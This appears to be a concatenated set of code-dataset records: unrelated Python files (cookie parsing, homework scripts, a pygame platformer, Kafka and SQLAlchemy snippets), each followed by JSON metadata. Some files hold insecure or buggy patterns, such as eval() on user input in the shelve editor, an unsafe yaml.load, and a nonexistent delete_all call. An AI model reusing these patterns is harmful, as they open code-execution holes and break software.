set(map(ord,\n _UnescapedChars))}\n_Translator.update({ord('\"'): '\\\\\"', ord('\\\\'): '\\\\\\\\'})\n_is_legal_key = re.compile('[%s]+' % re.escape(_LegalChars)).fullmatch\n\n\ndef _quote(str):\n \"\"\"Quote a string for use in a cookie header.\n\n If the string does not need to be double-quoted, then just return the\n string. Otherwise, surround the string in doublequotes and quote\n (with a \\\\) special characters.\n \"\"\"\n if str is None or _is_legal_key(str):\n return str\n else:\n return '\"' + str.translate(_Translator) + '\"'\n\n\n_OctalPatt = re.compile('\\\\\\\\[0-3][0-7][0-7]')\n_QuotePatt = re.compile('[\\\\\\\\].')\n\n\ndef _unquote(str):\n if str is None or len(str) < 2:\n return str\n if str[0] != '\"' or str[-1] != '\"':\n return str\n str = str[1:-1]\n i = 0\n n = len(str)\n res = []\n while 0 <= i < n:\n o_match = _OctalPatt.search(str, i)\n q_match = _QuotePatt.search(str, i)\n if not o_match and not q_match:\n res.append(str[i:])\n break\n j = k = -1\n if o_match:\n j = o_match.start(0)\n if q_match:\n k = q_match.start(0)\n if q_match and (not o_match or k < j):\n res.append(str[i:k])\n res.append(str[k + 1])\n i = k + 2\n else:\n res.append(str[i:j])\n res.append(chr(int(str[j + 1:j + 4], 8)))\n i = j + 4\n return _nulljoin(res)\n\n\n_weekdayname = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']\n_monthname = [None, 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug',\n 'Sep', 'Oct', 'Nov', 'Dec']\n\n\ndef _getdate(future=0, weekdayname=_weekdayname, monthname=_monthname):\n from time import gmtime, time\n now = time()\n year, month, day, hh, mm, ss, wd, y, z = gmtime(now + future)\n return '%s, %02d %3s %4d %02d:%02d:%02d GMT' % (weekdayname[wd], day,\n monthname[month], year, hh, mm, ss)\n\n\nclass Morsel(dict):\n \"\"\"A class to hold ONE (key, value) pair.\n\n In a cookie, each such pair may have several attributes, so this class is\n used to keep the attributes associated with the appropriate key,value pair.\n This class also includes a coded_value attribute, which is used to hold\n the network representation of the value. This is most useful when Python\n objects are pickled for network transit.\n \"\"\"\n _reserved = {'expires': 'expires', 'path': 'Path', 'comment': 'Comment',\n 'domain': 'Domain', 'max-age': 'Max-Age', 'secure': 'Secure',\n 'httponly': 'HttpOnly', 'version': 'Version'}\n _flags = {'secure', 'httponly'}\n\n def __init__(self):\n self._key = self._value = self._coded_value = None\n for key in self._reserved:\n dict.__setitem__(self, key, '')\n\n @property\n def key(self):\n return self._key\n\n @key.setter\n def key(self, key):\n _warn_deprecated_setter('key')\n self._key = key\n\n @property\n def value(self):\n return self._value\n\n @value.setter\n def value(self, value):\n _warn_deprecated_setter('value')\n self._value = value\n\n @property\n def coded_value(self):\n return self._coded_value\n\n @coded_value.setter\n def coded_value(self, coded_value):\n _warn_deprecated_setter('coded_value')\n self._coded_value = coded_value\n\n def __setitem__(self, K, V):\n K = K.lower()\n if not K in self._reserved:\n raise CookieError('Invalid attribute %r' % (K,))\n dict.__setitem__(self, K, V)\n\n def setdefault(self, key, val=None):\n key = key.lower()\n if key not in self._reserved:\n raise CookieError('Invalid attribute %r' % (key,))\n return dict.setdefault(self, key, val)\n\n def __eq__(self, morsel):\n if not isinstance(morsel, Morsel):\n return NotImplemented\n return (dict.__eq__(self, morsel) and self._value == morsel._value and\n self._key == morsel._key and self._coded_value == morsel.\n _coded_value)\n __ne__ = object.__ne__\n\n def copy(self):\n morsel = Morsel()\n dict.update(morsel, self)\n morsel.__dict__.update(self.__dict__)\n return morsel\n\n def update(self, values):\n data = {}\n for key, val in dict(values).items():\n key = key.lower()\n if key not in self._reserved:\n raise CookieError('Invalid attribute %r' % (key,))\n data[key] = val\n dict.update(self, data)\n\n def isReservedKey(self, K):\n return K.lower() in self._reserved\n\n def set(self, key, val, coded_val, LegalChars=_LegalChars):\n if LegalChars != _LegalChars:\n import warnings\n warnings.warn(\n 'LegalChars parameter is deprecated, ignored and will be removed in future versions.'\n , DeprecationWarning, stacklevel=2)\n if key.lower() in self._reserved:\n raise CookieError('Attempt to set a reserved key %r' % (key,))\n if not _is_legal_key(key):\n raise CookieError('Illegal key %r' % (key,))\n self._key = key\n self._value = val\n self._coded_value = coded_val\n\n def __getstate__(self):\n return {'key': self._key, 'value': self._value, 'coded_value': self\n ._coded_value}\n\n def __setstate__(self, state):\n self._key = state['key']\n self._value = state['value']\n self._coded_value = state['coded_value']\n\n def output(self, attrs=None, header='Set-Cookie:'):\n return '%s %s' % (header, self.OutputString(attrs))\n __str__ = output\n\n def __repr__(self):\n return '<%s: %s>' % (self.__class__.__name__, self.OutputString())\n\n def js_output(self, attrs=None):\n return (\n \"\"\"\n \n \"\"\"\n % self.OutputString(attrs).replace('\"', '\\\\\"'))\n\n def OutputString(self, attrs=None):\n result = []\n append = result.append\n append('%s=%s' % (self.key, self.coded_value))\n if attrs is None:\n attrs = self._reserved\n items = sorted(self.items())\n for key, value in items:\n if value == '':\n continue\n if key not in attrs:\n continue\n if key == 'expires' and isinstance(value, int):\n append('%s=%s' % (self._reserved[key], _getdate(value)))\n elif key == 'max-age' and isinstance(value, int):\n append('%s=%d' % (self._reserved[key], value))\n elif key in self._flags:\n if value:\n append(str(self._reserved[key]))\n else:\n append('%s=%s' % (self._reserved[key], value))\n return _semispacejoin(result)\n\n\n_LegalKeyChars = \"\\\\w\\\\d!#%&'~_`><@,:/\\\\$\\\\*\\\\+\\\\-\\\\.\\\\^\\\\|\\\\)\\\\(\\\\?\\\\}\\\\{\\\\=\"\n_LegalValueChars = _LegalKeyChars + '\\\\[\\\\]'\n_CookiePattern = re.compile(\n \"\"\"\n \\\\s* # Optional whitespace at start of cookie\n (?P # Start of group 'key'\n [\"\"\"\n + _LegalKeyChars +\n \"\"\"]+? # Any word of at least one letter\n ) # End of group 'key'\n ( # Optional group: there may not be a value.\n \\\\s*=\\\\s* # Equal Sign\n (?P # Start of group 'val'\n \"(?:[^\\\\\\\\\"]|\\\\\\\\.)*\" # Any doublequoted string\n | # or\n \\\\w{3},\\\\s[\\\\w\\\\d\\\\s-]{9,11}\\\\s[\\\\d:]{8}\\\\sGMT # Special case for \"expires\" attr\n | # or\n [\"\"\"\n + _LegalValueChars +\n \"\"\"]* # Any word or empty string\n ) # End of group 'val'\n )? # End of optional value group\n \\\\s* # Any number of spaces.\n (\\\\s+|;|$) # Ending either at space, semicolon, or EOS.\n \"\"\"\n , re.ASCII | re.VERBOSE)\n\n\nclass BaseCookie(dict):\n \"\"\"A container class for a set of Morsels.\"\"\"\n\n def value_decode(self, val):\n \"\"\"real_value, coded_value = value_decode(STRING)\n Called prior to setting a cookie's value from the network\n representation. The VALUE is the value read from HTTP\n header.\n Override this function to modify the behavior of cookies.\n \"\"\"\n return val, val\n\n def value_encode(self, val):\n \"\"\"real_value, coded_value = value_encode(VALUE)\n Called prior to setting a cookie's value from the dictionary\n representation. The VALUE is the value being assigned.\n Override this function to modify the behavior of cookies.\n \"\"\"\n strval = str(val)\n return strval, strval\n\n def __init__(self, input=None):\n if input:\n self.load(input)\n\n def __set(self, key, real_value, coded_value):\n \"\"\"Private method for setting a cookie's value\"\"\"\n M = self.get(key, Morsel())\n M.set(key, real_value, coded_value)\n dict.__setitem__(self, key, M)\n\n def __setitem__(self, key, value):\n \"\"\"Dictionary style assignment.\"\"\"\n if isinstance(value, Morsel):\n dict.__setitem__(self, key, value)\n else:\n rval, cval = self.value_encode(value)\n self.__set(key, rval, cval)\n\n def output(self, attrs=None, header='Set-Cookie:', sep='\\r\\n'):\n \"\"\"Return a string suitable for HTTP.\"\"\"\n result = []\n items = sorted(self.items())\n for key, value in items:\n result.append(value.output(attrs, header))\n return sep.join(result)\n __str__ = output\n\n def __repr__(self):\n l = []\n items = sorted(self.items())\n for key, value in items:\n l.append('%s=%s' % (key, repr(value.value)))\n return '<%s: %s>' % (self.__class__.__name__, _spacejoin(l))\n\n def js_output(self, attrs=None):\n \"\"\"Return a string suitable for JavaScript.\"\"\"\n result = []\n items = sorted(self.items())\n for key, value in items:\n result.append(value.js_output(attrs))\n return _nulljoin(result)\n\n def load(self, rawdata):\n \"\"\"Load cookies from a string (presumably HTTP_COOKIE) or\n from a dictionary. Loading cookies from a dictionary 'd'\n is equivalent to calling:\n map(Cookie.__setitem__, d.keys(), d.values())\n \"\"\"\n if isinstance(rawdata, str):\n self.__parse_string(rawdata)\n else:\n for key, value in rawdata.items():\n self[key] = value\n return\n\n def __parse_string(self, str, patt=_CookiePattern):\n i = 0\n n = len(str)\n parsed_items = []\n morsel_seen = False\n TYPE_ATTRIBUTE = 1\n TYPE_KEYVALUE = 2\n while 0 <= i < n:\n match = patt.match(str, i)\n if not match:\n break\n key, value = match.group('key'), match.group('val')\n i = match.end(0)\n if key[0] == '$':\n if not morsel_seen:\n continue\n parsed_items.append((TYPE_ATTRIBUTE, key[1:], value))\n elif key.lower() in Morsel._reserved:\n if not morsel_seen:\n return\n if value is None:\n if key.lower() in Morsel._flags:\n parsed_items.append((TYPE_ATTRIBUTE, key, True))\n else:\n return\n else:\n parsed_items.append((TYPE_ATTRIBUTE, key, _unquote(value)))\n elif value is not None:\n parsed_items.append((TYPE_KEYVALUE, key, self.value_decode(\n value)))\n morsel_seen = True\n else:\n return\n M = None\n for tp, key, value in parsed_items:\n if tp == TYPE_ATTRIBUTE:\n assert M is not None\n M[key] = value\n else:\n assert tp == TYPE_KEYVALUE\n rval, cval = value\n self.__set(key, rval, cval)\n M = self[key]\n\n\nclass SimpleCookie(BaseCookie):\n \"\"\"\n SimpleCookie supports strings as cookie values. When setting\n the value using the dictionary assignment notation, SimpleCookie\n calls the builtin str() to convert the value to a string. Values\n received from HTTP are kept as strings.\n \"\"\"\n\n def value_decode(self, val):\n return _unquote(val), val\n\n def value_encode(self, val):\n strval = str(val)\n return strval, _quote(strval)\n","sub_path":"code/tmp_rtrip/http/cookies.py","file_name":"cookies.py","file_ext":"py","file_size_in_byte":16033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"417569741","text":"####################################\n# ENGI1006 HW 5 (Part 1) - hw5_1.py\n# Name : James O'Donnell\n# UNI : jo2474\n# Date : November 15, 2015\n####################################\n\nimport percolation as perc\n\ndef main():\n site_matrix=perc.make_sites(25,0.45)\n perc.write_grid('sites.txt',site_matrix)\n sites_read=perc.read_grid('sites.txt')\n sites_flow=perc.vertical_flow(sites_read)\n if perc.percolates(sites_flow):\n print('percolates')\n else:\n print('does not percolate')\n\nmain()\n\n","sub_path":"hw5_1/hw5_1.py","file_name":"hw5_1.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"451958372","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/duranton/Documents/CERFACS/CODES/arnica/src/arnica/utils/sample_curve_from_cloud.py\n# Compiled at: 2020-03-30 05:30:51\n# Size of source mod 2**32: 7334 bytes\n\"\"\" SORT AND SAMPLE POINTS FROM CURVE \"\"\"\nimport time, numpy as np\nfrom scipy import spatial\n\ndef get_neighbor(kdtree, point, list_points):\n \"\"\"\n *Find the closiest neighbor that has not already been found*\n\n From the kdtree, find the two closiest points of 'point', the 1st being itself.\n If the second closiest point has already been found, then the number of researched points is increased until finding a point that has not already been found.\n\n :param kdtree: KDTree of all points.\n :param point: Array of dim (k,) of point float coordinates.\n :type point: np.array\n :param list_points: List of integer indexes\n\n :return:\n\n - **index** - Index (int) of the unfound closiest point.\n - **dist** - Distance (float) of the closiest point from point.\n \"\"\"\n k_neighbors = 2\n dists, indexes = kdtree.query(point, k=k_neighbors)\n subindexes = np.setdiff1d(indexes, list_points, assume_unique=True)\n while len(subindexes) == 0:\n k_neighbors += 1\n dists, indexes = kdtree.query(point, k=k_neighbors)\n subindexes = np.setdiff1d(indexes, list_points, assume_unique=True)\n\n index = subindexes[0]\n dist = dists[np.where(indexes == subindexes[0])[0][0]]\n return (\n index, dist)\n\n\ndef sort_points_by_dist(points_coor, starting_pt):\n r\"\"\"\\\n *Reorder a point cloud by distances*\n .\n From a starting fictive point, the first point 1 of the spline\\\n iget_neighbors found, as the closiest one. .\n From that point, the following points are obtained with get_neighbor()\n until having sorted all points.\n\n ::\n ................ ................ r/y\n ... 2 8 .. ... .. ^\n .. . .. . |\n . . . . | x\n . ................ ===> . ................ o----->\n . . . .\n . ................... . ...................\n .. ..\n ...................... ......................\n 1 3 X 8 321\n starting_pt\n\n :param points_coor: Array of dim (n,k) of points coordinates\n :type points_coor: np.array\n :param starting_pt: Array of dim (k,) of starting pt coordinates\n :type starting_pt: np.array\n\n :returns:\n\n - **ordered_indexes** - Array of dim (n,) of indexes\n - **ordered_dists** - Array of dim (n,) of floats\n \"\"\"\n kdtree = spatial.cKDTree(points_coor)\n list_points = []\n list_dists = []\n _, idx = kdtree.query(starting_pt, k=1)\n list_points.append(idx)\n list_dists.append(0)\n progress = -1\n time_i = time.time()\n while len(list_points) < len(points_coor):\n index, dist = get_neighbor(kdtree, points_coor[list_points[(-1)]], list_points)\n list_dists.append(dist)\n list_points.append(index)\n new_progress = int(len(list_points) / len(points_coor) * 100)\n if int(new_progress / 10) > int(progress / 10):\n progress = new_progress\n delta_time = time.time() - time_i\n print(('Sorting process... {:d}% : {:.3f}s'.format(progress, delta_time)), end='\\r')\n\n print()\n ordered_indexes = np.asarray(list_points)\n ordered_dists = np.asarray(list_dists)\n return (\n ordered_indexes, ordered_dists)\n\n\ndef sample_arrays_by_dist_interval(dists, samples_res, *args):\n r\"\"\"\\\n *Sample data and optional args at each sample_res along data*\n\n From an array containing the distance between sorted points, \\\n and from a sample resolution defined by the distance between\\\n two samples, the function picks up the indexes corresponding\\\n to a sample, and returns an array of sampled distances and\\\n arrays of sampled arguments from those indexes.\n\n __ = samples_res\n\n ::\n ................ .__.__.__.__.__.\n ... .. .__ ..\n .. . .. |\n . . | .\n . ................ ===> | .__.__.__.__.__.\n . . . .\n . ................... . .__.__.__.__.__.__.\n .. ..\n ...................... 9 .__.__.__.__.__.__.__.\n 9 321 3 2 1\n\n :param dists: Array of dim (n,) of floats\n :type dists: np.array\n :param samples_res: Sample resolution for sampling\n :type samples_res: float\n :param args: Tuple de data of dim (n,)\n \"\"\"\n cum_dists = np.cumsum(dists, axis=0)\n sum_dists = cum_dists[(-1)]\n indexes = [0]\n for dist in np.arange(samples_res, sum_dists, samples_res):\n next_index = np.where((cum_dists >= dist) & (cum_dists < dist + samples_res))[0]\n if next_index.size > 0:\n indexes.append(next_index[0])\n\n if indexes[(-1)] != len(dists) - 1:\n indexes[-1] = len(dists) - 1\n dists = dists[indexes]\n args_out = []\n for arg in args:\n args_out.append(arg[indexes])\n\n return (dists, tuple(args_out))\n\n\ndef sample_points_from_cloud(points_coor, starting_pt, n_samples=None, samples_res=None):\n \"\"\"\n *Sort and sample unsorted curve*\n\n First the point coordinates are sorted by distances.\n Secondly compute sample resolution if not provided.\n Finally sample the ordered indexes points by distance.\n Returns the array of coordinates ordered and sampled.\n\n :param points_coor: Array of dim (n,k) of points coordinates\n :type skin_coor: np.array\n :param starting_pt: Array of dim (k,) of starting point coordinates\n :type starting_pt: np.array\n :param n_samples: Number of samples to extract\n :type n_samples: int\n :param sample_res: Resolution of the sampling\n :type sample_res: float\n\n :returns:\n\n - **skin_cyl** - Array of dim (n_samples, 3) of coordinates\n \"\"\"\n ordered_indexes, ordered_dists = sort_points_by_dist(points_coor, starting_pt)\n if samples_res is None:\n if n_samples is None:\n n_samples = 80\n samples_res = np.sum(ordered_dists) / n_samples\n _, (sampled_ordered_indexes,) = sample_arrays_by_dist_interval(ordered_dists, samples_res, ordered_indexes)\n return points_coor[sampled_ordered_indexes]","sub_path":"pycfiles/arnica-1.5.7-py3-none-any/sample_curve_from_cloud.cpython-37.py","file_name":"sample_curve_from_cloud.cpython-37.py","file_ext":"py","file_size_in_byte":6981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"266652126","text":"import os\nimport fnmatch\nimport id3reader\n\n\ndef filePaths(start: str = \".\", extension: str = \"mp3\"):\n for path, _, files in os.walk(start):\n for file in fnmatch.filter(files, \"*.{}\".format(extension)):\n absolute_path = os.path.abspath(path)\n yield os.path.join(absolute_path, file)\n\n\n# /d/OneDrive/Music\nfor mp3 in filePaths(\".\", \"emp3\"):\n print(mp3)\n try:\n id3r = id3reader.Reader(mp3)\n print(\n \"Artist: {}, Album: {}, Track: {}, Song: {}\".format(\n id3r.get_value(\"performer\"),\n id3r.get_value(\"album\"),\n id3r.get_value(\"track\"),\n id3r.get_value(\"title\"),\n )\n )\n except:\n print(\"Unable to process {}\".format(mp3))\n\n","sub_path":"MusicFiles/MusicChallenge.py","file_name":"MusicChallenge.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"43257563","text":"from person import Person\nimport shelve\n\nfieldnames = ('name', 'age', 'pay', 'job')\ndb = shelve.open('people-class')\nwhile True:\n\tkey = input('\\nkey?=>')\n\tif not key:\n\t\tbreak\n\tif key in db:\n\t\trecode = db[key]\n\telse:\n\t\trecode = Person(name='?', age='?')\n\tfor field in fieldnames:\n\t\tvalue = getattr(recode, field)\n\t\tnewValue = input('\\n\\t[%s]=%s\\n\\t\\tnew?=>' % (field, value))\n\t\tif newValue:\n\t\t\tsetattr(recode, field, eval(newValue))\n\t\t\tprint('\\t\\t\\t%s=>%s' % (field, eval(newValue)))\n\tdb[key] = recode\ndb.close()","sub_path":"chapter1/example5/interact_update.py","file_name":"interact_update.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"450010909","text":"from myhdl import *\n\n#from astron_base import clock, reset\n\ndef dp_block_gen(src_out, snk_in, clock, reset, g_count_max):\n \"\"\" Incrementer with enable.\n\n g_count_max -- counter max value\n\n src_out -- Streaming output SOSI\n snk_in -- flow control SISO\n\n clock -- clock input\n reset -- asynchronous reset input\n \"\"\"\n\n @always_seq(clock.posedge, reset=reset)\n def incLogic():\n if snk_in.ready==1:\n src_out.data.next = (src_out.data + 1) % g_count_max\n src_out.valid.next = 1\n src_out.sop.next = 0\n src_out.eop.next = 0\n\n if src_out.data == 0:\n src_out.sop.next = 1\n elif src_out.data == g_count_max-1:\n src_out.eop.next = 1\n\n return incLogic\n","sub_path":"RadioHDL/trunk/tools/oneclick/prestudy/myHDL/dp/dp_block_gen.py","file_name":"dp_block_gen.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"191701123","text":"#!/usr/bin/env python\nimport threading, time\nimport multiprocessing\nfrom kafka import KafkaProducer\n\nclass Producer(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n self.stop_event = threading.Event()\n \n def stop(self):\n self.stop_event.set()\n\n def run(self):\n producer = KafkaProducer(bootstrap_servers='192.168.11.19:9092')\n\n while not self.stop_event.is_set():\n producer.send('btc_raw_lob', b\"test\")\n producer.send('btc_raw_lob', b\"\\xc2soujiro0725, salut!\")\n time.sleep(1)\n\n producer.close()\n\n","sub_path":"lib/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"569557274","text":"import pygame, sys, Background, Platform, Player, Monster\nfrom pygame.locals import *\nfrom turtledemo.nim import SCREENWIDTH\n\ndef main():\n \"\"\"The main game function that contains all the game attributes and the\n main game loop.\n \"\"\"\n pygame.init()\n FPS = 30\n fps_clock = pygame.time.Clock()\n \n SCREENSIZE = (800, 600)\n \n screen = pygame.display.set_mode(SCREENSIZE)\n pygame.display.set_caption(\"Journey to the West\")\n \n pygame.mouse.set_visible(False)\n \n background = Background.Background((800, 600))\n platform = Platform.platformGroup()\n player = Player.Player((-100, 0))\n \n moveL = False\n moveR = False\n \n gameIdle =True\n gameContinue = True\n gamePause = False\n gamePrompt = 0\n \n endGameCounter = 100\n \n pygame.mixer.music.load('bg.ogg')\n pygame.mixer.music.set_endevent(USEREVENT)\n pygame.mixer.music.play()\n \n fullscreen = False\n \n fileCount = 1\n \n while True:\n# fileName = 'screen' + str(fileCount) + '.jpg'\n# fileCount = fileCount + 1\n# if fileCount % 10 == 1:\n# pygame.image.save(screen, fileName)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.type == USEREVENT:\n pygame.mixer.music.play()\n if (event.type == KEYDOWN and event.key == K_RETURN and \n (pygame.key.get_mods() & KMOD_ALT)):\n if fullscreen:\n fullscreen = False\n screen = pygame.display.set_mode(SCREENSIZE)\n else:\n fullscreen = True\n screen = pygame.display.set_mode(SCREENSIZE, FULLSCREEN)\n if gameContinue:\n gamePrompt = player.prompt\n if gameIdle:\n if event.type == KEYDOWN and event.key == K_RETURN:\n gameIdle = False\n player.unhideHeart()\n elif gamePause:\n if event.type == KEYDOWN:\n if event.key == K_p:\n gamePause = False\n if event.key == K_q:\n pygame.quit()\n sys.exit()\n else:\n if event.type == KEYDOWN:\n if event.key == K_EQUALS:\n player.increaseHealth()\n if event.key == K_RIGHT:\n moveR = True\n if event.key == K_LEFT:\n moveL = True\n if event.key == K_SPACE:\n player.jump()\n if event.key == K_p:\n gamePause = True\n if event.key == K_RETURN:\n if gamePrompt != 0:\n gamePrompt = 0\n player.prompt = 0\n if event.type == KEYUP:\n if event.key == K_RIGHT:\n moveR = False\n if event.key == K_LEFT:\n moveL = False\n else:\n if event.type == KEYDOWN:\n if event.key == K_r:\n background = Background.Background((800, 600))\n platform = Platform.platformGroup()\n player = Player.Player((150, 200))\n gameContinue = True\n moveL = False\n moveR = False\n if event.key == K_q:\n pygame.quit()\n sys.exit()\n \n if gameContinue:\n if gameIdle:\n player.hideHeart()\n player.land(platform.platList(), Platform.Platform(1, (13000, 3)))\n background.update(screen)\n player.update(screen)\n demo(screen)\n platform.update(screen)\n if not player.moveR():\n background.moveR()\n elif gamePause:\n #prompt('cigar', screen)\n pause(screen)\n \n elif gamePrompt != 0:\n if gamePrompt == 1:\n prompt('fat', screen)\n elif gamePrompt == 2:\n prompt('salt', screen)\n elif gamePrompt == 3:\n prompt('cigar', screen)\n elif gamePrompt == 4:\n prompt('couch', screen)\n else:\n if moveL:\n player.moveL()\n if moveR:\n if not player.moveR():\n background.moveR()\n platform.moveR()\n screen.fill((0, 0, 0))\n player.land(platform.platList(), platform.finalPlat())\n player.enemyCollision(platform.monList())\n player.fruitCollison(platform.fruList())\n player.fireballCollison(platform.fireList())\n if player.gameOver() or player.win():\n gameContinue = False\n background.update(screen)\n platform.update(screen)\n player.update(screen)\n else:\n if endGameCounter == 0:\n gameIdle = True\n background = Background.Background((800, 600))\n platform = Platform.platformGroup()\n player = Player.Player((150, 200))\n gameContinue = True\n moveL = False\n moveR = False\n endGameCounter = 100\n else: endGameCounter -= 1\n if player.win():\n gameWon(screen)\n else:\n gameOver(screen)\n \n pygame.display.update()\n fps_clock.tick(FPS)\n \ndef demo(target):\n \"\"\"Displays the starting screen of the game.\n \n Args:\n target(pygame.Surface): The surface to draw starting screen onto.\n \"\"\"\n font1 = pygame.font.SysFont('Chinese Takeaway', 70, 5, False)\n font2 = pygame.font.SysFont('Chinese Takeaway', 20, 5, False)\n label1 = pygame.image.load('jtw.png')\n label2 = font2.render('Press <- or -> to move, space to jump', True, (125, 125, 125))\n label3 = font2.render('Press ENTER to start', True, (0, 0, 255))\n target.blit(label1, (80, 150))\n target.blit(label2, (100, 350))\n target.blit(label3, (100, 380))\n \ndef prompt(item, target):\n if item == 'cigar':\n promptImg = pygame.image.load('cigarp.png').convert_alpha()\n elif item == 'fat':\n promptImg = pygame.image.load('fatp.png').convert_alpha()\n elif item == 'salt':\n promptImg = pygame.image.load('saltp.png').convert_alpha()\n elif item == 'couch':\n promptImg = pygame.image.load('couchp.png').convert_alpha()\n target.blit(promptImg, (100, 100))\n \ndef pause(target):\n \"\"\"Displays the pause screen of the game.\n \n Args:\n target(pygame.Surface): The surface to draw pause screen onto.\n \"\"\"\n font1 = pygame.font.SysFont('Chinese Takeaway', 40, 5, False)\n font2 = pygame.font.SysFont('Chinese Takeaway', 20, 5, False)\n label = font1.render('GAME PAUSED', True, (0, 255, 0))\n label2 = font2.render('Press P to resume', True, (0, 0, 255))\n label3 = font2.render('Press Q to quit', True, (0, 0, 255))\n target.blit(label, (100, 300))\n target.blit(label2, (100, 350))\n target.blit(label3, (100, 375))\n\ndef gameOver(target):\n \"\"\"Displays the gameOver screen of the game.\n \n Args:\n target(pygame.Surface): The surface to draw gameOver screen onto.\n \"\"\"\n font1 = pygame.font.SysFont('Chinese Takeaway', 40, 5, False)\n font2 = pygame.font.SysFont('Chinese Takeaway', 20, 5, False)\n label = font1.render('GAME OVER', True, (0, 255, 0))\n label2 = font2.render('Press R to restart', True, (0, 0, 255))\n label3 = font2.render('Press Q to quit', True, (0, 0, 255))\n target.blit(label, (100, 300))\n target.blit(label2, (100, 350))\n target.blit(label3, (100, 375))\n \ndef gameWon(target):\n \"\"\"Displays the winning screen of the game.\n \n Args:\n target(pygame.Surface): The surface to draw winning screen onto.\n \"\"\"\n font1 = pygame.font.SysFont('Chinese Takeaway', 40, 5, False)\n font2 = pygame.font.SysFont('Chinese Takeaway', 20, 5, False)\n label = font1.render('YOU WIN', True, (0, 255, 0))\n label2 = font2.render('Press R to restart', True, (0, 0, 255))\n label3 = font2.render('Press Q to quit', True, (0, 0, 255))\n target.blit(label, (100, 300))\n target.blit(label2, (100, 350))\n target.blit(label3, (100, 375))\n\nif __name__ == '__main__':\n main()","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":8885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"281930616","text":"import yaml\nimport os\nfrom .log import logMsg\n\ndef get_info(var_file=None):\n if not var_file:\n var_file=os.environ['HOME']+\"/.variables.yaml\"\n \n with open(var_file, \"r\") as stream:\n INFO = yaml.load(stream)\n \n return INFO\n\n\ndef save_info(filePath,order):\n \n if os.path.isfile(filePath):\n os.remove(filePath)\n \n stream = open(filePath, \"w\")\n yaml.dump(order,stream)\n stream.close()\n","sub_path":"scarpkg/get_variables.py","file_name":"get_variables.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"496863123","text":"# 1.1 найти min число в листе\n# l = [22, 3,5,2,8,2,-23, 8,23,5]\n# print(min(l))\n\n# 1.2 удалить все дубликаты в листе\n# print(set(l))\n\n# 1.3 заменить каждое четвертое значение на \"Х\"\n# l[3] = \"X\"\n# l[7] = \"X\"\n# print(l)\n\n# 2)вывести на экран пустой квадрат из \"*\" сторона которого указана в переменой:\n\n# print('*','*','*','*','*','*','*','*','*','*')\n# print('*', '*',sep=' ')\n# print('*', '*',sep=' ')\n# print('*', '*',sep=' ')\n# print('*', '*',sep=' ')\n# print('*', '*',sep=' ')\n# print('*', '*',sep=' ')\n# print('*', '*',sep=' ')\n# print('*','*','*','*','*','*','*','*','*','*')\n\n#3) вывести табличку умножения с помощью цикла while\n# a=1\n# while a<=9:\n# b=1\n# while b<=9:\n# c=a*b\n# print(c, end=\" \")\n# b+=1\n# print(\" \")\n# a+=1\n\n#4) переделать первое задание под меню с помощью цикла\nl = [22, 3,5,2,8,2,-23, 8,23,5]\nprint(l)\nwhile True:\n print('1. Найти min число в листе')\n print('2. Удалить все дубликаты в листе')\n print('3. Заменить каждое четвертое значение на \"Х\"')\n print('4. Выход')\n num = input('Введите номер: ')\n if num not in '12345':\n continue\n\n elif num == '1':\n print(min(l))\n\n elif num == '2':\n print(set(l))\n\n elif num == '3':\n l[3] = \"X\"\n l[7] = \"X\"\n print(l)\n elif num == '4':\n break\n","sub_path":"lesson1home.py","file_name":"lesson1home.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"451896881","text":"#!/usr/bin/python3\n\"\"\"New engine for Database\"\"\"\n\nfrom sqlalchemy import create_engine, Table\nfrom os import getenv\nfrom sqlalchemy.orm import sessionmaker, scoped_session\nfrom models.base_model import Base\nfrom models.user import User\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.place import Place\nfrom models.review import Review\n\n\nclass DBStorage:\n \"\"\"Class for db management\"\"\"\n __engine = None\n __session = None\n usr = getenv('HBNB_MYSQL_USER')\n pwd = getenv('HBNB_MYSQL_PWD')\n ht = getenv('HBNB_MYSQL_HOST')\n db = getenv('HBNB_MYSQL_DB')\n env = getenv('HBNB_ENV')\n\n def __init__(self):\n \"\"\"constructor\"\"\"\n self.__engine = create_engine('mysql+mysqldb://{}:{}@{}/{}'\n .format(self.usr, self.pwd, self.ht,\n self.db), pool_pre_ping=True)\n\n # Base.metadata.create_all(bind=self.__engine)\n\n if self.env == 'test':\n Base.metadata.delete_all(bind=self.__engine)\n\n def all(self, cls=None):\n \"\"\"query a database session. Return a dictionary\"\"\"\n if cls is None:\n cls = \"User, State, City, Amenity, Place, Review\"\n\n obj_list = {}\n result = self.__session.query(eval(cls))\n\n for obj in result:\n key = obj.__class__.__name__ + '.' + obj.id\n obj_list[key] = obj\n return obj_list\n\n def new(self, obj):\n 